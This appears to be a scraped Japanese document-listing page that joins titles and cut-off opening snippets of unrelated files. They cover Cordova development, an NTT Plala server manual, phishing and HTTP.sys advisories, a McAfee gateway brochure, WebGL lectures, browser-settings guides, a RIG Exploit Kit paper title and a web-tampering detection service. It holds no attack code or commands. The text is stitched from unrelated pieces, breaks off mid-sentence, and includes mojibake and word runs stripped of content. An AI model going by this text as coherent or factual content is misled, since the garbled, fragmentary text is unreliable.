Visual Studio with Cordova Visual Studio 2015 Apache Cordova Cordova for Visual Studio Monaca for Visual Studio Σ = ( ) 各種アプリをサービス化しクラウドで束ねて付加価値を最大化 モビリティの重要性 ~ 業務のスピードを上げ 機会獲得を増やす ~ 潜在顧客獲得 機会獲得 情報共有
ビジネスサーバ設定マニュアル_Standard応用編
ビジネスサーバ シリーズ設定マニュアル ~Standard 応用編 ~ 本マニュアルの内容は サービスの各機能に関する解説資料としてご利用いただくことを目的としております 設定変更にあたっては 予め変更対象のファイル等のバックアップを取られることをお奨め致します ( 弊社側でのファイル復旧は出来ませんのでご注意ください ) 第 1.3 版 株式会社 NTT ぷらら 本ご案内に掲載している料金等は消費税相当額を含んでおりません
はじめに (1) フィッシング詐欺 ( フィッシング攻撃 ) とは フィッシング詐欺とは インターネットバンキング ショッピングサイト等の利用者のアカウント情報 (ID パスワード等 ) や クレジットカードの情報等を騙し取る攻撃です 典型的な手口としては 攻撃者が本物のウェブサイトと似た偽のウェブ
参考資料 文書ファイルを悪用した フィッシング詐欺の手口に関する 注意点 2017 年 10 月 26 日 1 はじめに (1) フィッシング詐欺 ( フィッシング攻撃 ) とは フィッシング詐欺とは インターネットバンキング ショッピングサイト等の利用者のアカウント情報 (ID パスワード等 ) や クレジットカードの情報等を騙し取る攻撃です 典型的な手口としては 攻撃者が本物のウェブサイトと似た偽のウェブサイト
07_経営論集2010 小松先生.indd
19 1 2009 105 123 Web Web Web Web World Wide Web WWW OS 1990 WWW Web HTML CSS JavaScript Web 1 WWW 2 Web Web 3 Web 4 HTML5 5 Web Web 3 1970 WWW HTML Web WWW WWW WWW WWW WWW 105 Web WWW 2 Web 1 1 NTT NTT
Web Gateway資料(EWS比較付)
McAfee Web Gateway 強力な Web セキュリティの提供 マカフィー株式会社 January 11, 2013 McAfee Web Gateway の主要機能 McAfee Web Gateway http:80 Gnutella:80 悪質な SQL Injection マルウェア対策とウイルス対策 Webフィルタリング SSLスキャニングアプリケーション制御キャッシュアクセスログの取得包括的なダッシュボード
2015 年 4 月 15 日に発表された HTTP.sys の脆弱性 ( ) へ の対応について 製品名 : バージョン : 対象プラットフォーム : カテゴリ : iautolaymagic すべてすべて Web アプリ この度 マイクロソフト社製品において緊急度の高い脆弱性 (CV
iautolaymagic 技術情報 iautolaymagic に関する注意事項やトラブル発生時の対処方法などをご紹介します ご利用には製品ユーザー登録が必要です 技術情報コード バージョン 対象プラットフォーム タイトル カテゴリ iautolaymagic-005 すべて すべて 2015 年 4 月 15 日に発表された Web アプリ HTTP.sys の脆弱性 (3042553) への対応について
WebGL WebGL DOM Kageyama (Kobe Univ.) Visualization / 39
WebGL DOM API 2014.05.27 X021 2014 Kageyama (Kobe Univ.) Visualization 2014.05.27 1 / 39 WebGL WebGL DOM Kageyama (Kobe Univ.) Visualization 2014.05.27 2 / 39 WebGL WebGL Kageyama (Kobe Univ.) Visualization
(1)IE6 の設定手順 (1)IE6 の設定手順 1) 信頼済みサイトの追加手順 1: ブラウザ (Internet Explorer) を起動します 手順 2: ツール / インターネットオプション / セキュリティ メニューを選択します 手順 3: セキュリティ タブの 信頼済みサイト を選択
InternetExplorer の設定手順 ブラウザバージョンの確認まず お使いのブラウザ (Internet Explorer) のバージョンを確認します 手順 1: ブラウザ (Internet Explorer) を起動します 手順 2: ヘルプ / バージョン情報 メニューを選択します ブラウザのバージョン情報表示画面が開きます 確認の上 ブラウザバージョンに従った設定手順に進んで下さい
WebGL *1 DOM API *1 X LR301 Kageyama (Kobe Univ.) Visualization / 37
WebGL *1 DOM API 2013.05.21 *1 X021 2013 LR301 Kageyama (Kobe Univ.) Visualization 2013.05.21 1 / 37 WebGL WebGL DOM References Kageyama (Kobe Univ.) Visualization 2013.05.21 2 / 37 WebGL WebGL Kageyama
第7回 Javascript入門
Slide URL https://vu5.sfc.keio.ac.jp/slide/ Web 情報システム構成法第 8 回 JavaScript 入門 萩野達也 ([email protected]) 1 Web ページの構成要素 直交技術を組み合わせる 内容 スタイル ( 表現方法 ) プログラミング スタイル プログラミング JavaScript CSS Web ページ Web 文書
OSSTechプレゼンテーション
Ver.3 ~ クラウド時代の ID 連携を支援する ~ オープンソース ソリューション テクノロジ株式会社 http://www.osstech.co.jp/ Copyright 2016 Open Source Solution Technology, Corp. 1 クラウド時代の ID 管理 1. 管理対象の分散化 オンプレミスとクラウドサービスの混在 システムごとの ID 管理 2. 3.
目次 1. PDF 変換サービスの設定について )Internet Explorer をご利用の場合 )Microsoft Edge をご利用の場合 )Google Chrome をご利用の場合 )Mozilla Firefox をご利
PDF 変換サービス セキュリティ設定マニュアル 第 21 版 2018 年 2 月 目次 1. PDF 変換サービスの設定について...2 1-1)Internet Explorer をご利用の場合...2 1-2)Microsoft Edge をご利用の場合... 14 1-3)Google Chrome をご利用の場合... 18 1-4)Mozilla Firefox をご利用の場合...
ご利用のブラウザのバージョンによっては 若干項目名が異なる場合があります 予めご了承ください Windows をお使いの場合 [ 表示 ] [ エンコード ] [ 日本語 ( 自動選択 )] を選択 [ 表示 ] [ エンコード ] [Unicode(UTF-8)] を選択 Firefox をご利用
FAQ よくあるご質問 宿泊予約申込 Web サイトについて Q. 1 設定は正しいのですが ログインできません LAN に導入されているファイアーウォール ( ネットワークのセキュリティのための仕組み ) が SSL によるデータ通信を許可していない場合があります その場合はログイン画面を開くことができません 詳しくは 所属機関のネットワーク管理担当部署までお尋ねください また プロキシサーバ経由でアクセスする場合は以下の設定に誤りが無いか
node_fest_2014.key
2014/11/15 Tokyo Node Fest 2014 @ahomu 2014/11/15 Tokyo Node Fest 2014 @ahomu % npm install normalize.css % bower install jquery % npm install -g bower { } package.json "name": "best-practices",
UTF-8への文字コード変更に伴う自作CSSとJavascript修正について
UTF-8 への文字コード変更に伴う自作 CSS と Javascript 修正について Google の推奨により お店ページの文字コードを現在の EUC-JP から UTF-8 へ変更します 文字コードを UTF-8 にすることで 検索結果の順位や数にプラスに働くことが期待できます 今回の文字コードの変更により 店舗さん自身で設置しているスタイルシートや Javascript がある場合 お店ページのレイアウトが崩れる
第 7 回の内容 動的な Web サイト フォーム Web システムの構成
第 7 回の内容 動的な Web サイト フォーム Web システムの構成 動的な Web サイト 静的なリソース ファイルシステムのパス / URI のパス a 公開ディレクトリ / b b GET /b HTTP/1.1 c c e d /a/b を送り返す d e 静的なリソース ファイルシステムのパス / / URI のパス f b c e GET /g/e HTTP/1.1 d /f/e
Web AppBuilder for ArcGIS (Developer Edition) インストールガイド
インストールガイド 目次 はじめに... 1 Web AppBuilder for ArcGIS (Developer Edition) インストールガイドについて... 1 Web AppBuilder for ArcGIS (Developer Edition) とは... 1 動作環境... 2 ライセンス... 2 インストール手順... 3 Web AppBuilder for ArcGIS
Drive-by Download RIG Exploit Kit
2017 StarC Drive-by Download 1 1 2 2 2.1 Drive-by Download.................................... 2 2.2 RIG Exploit Kit......................................... 2 2.3.............................................
Microsoft Word - SSI_Smart-Trading_QA_ja_ doc
サイゴン証券会社 (SSI) SSI Smarttrading の設定に関する Q&A 06-2009 Q&A リスト 1. Q1 http://smarttrading.ssi.com.vn へアクセスしましたが 黒い画面になり X のマークが左上に出ている A1 原因はまだ設定していない アドミニストレータで設定しない あるいは自動設定プログラムがお客様の PC に適合しないと考えられます 解決方法アドミニストレータの権限のユーザーでログインし
Adobe AIR のセキュリティ
ADOBE AIR http://help.adobe.com/ja_jp/legalnotices/index.html iii................................................................. 1.....................................................................
Web±ÜÍ÷¤Î³Ú¤·¤µ¤ò¹â¤á¤ëWeb¥Ú¡¼¥¸²Äݲ½¥·¥¹¥Æ¥à
Web Web 2 3 1 PC, Web, Web. Web,., Web., Web HTML, HTML., Web, Web.,,., Web, Web., Web, Web., Web, Web. 2 1 6 1.1.................................................. 6 1.2.................................................
目次 1. Web 改ざん検知概要 (1)Web 改ざん検知機能 P2 (2) サービスの提供対象および範囲 P2 2. Web 改ざん検知機能 (1) 解析について P2 (2) ホーム画面について P3 (3) 解析履歴 P3 (4) レポート作成 P4 (5) 解析内容の設定 P4 a. 基本
Biz メール & ウェブ Web 改ざん検知オプション 第 1.0 版 2015/10/06 目次 1. Web 改ざん検知概要 (1)Web 改ざん検知機能 P2 (2) サービスの提供対象および範囲 P2 2. Web 改ざん検知機能 (1) 解析について P2 (2) ホーム画面について P3 (3) 解析履歴 P3 (4) レポート作成 P4 (5) 解析内容の設定 P4 a. 基本設定
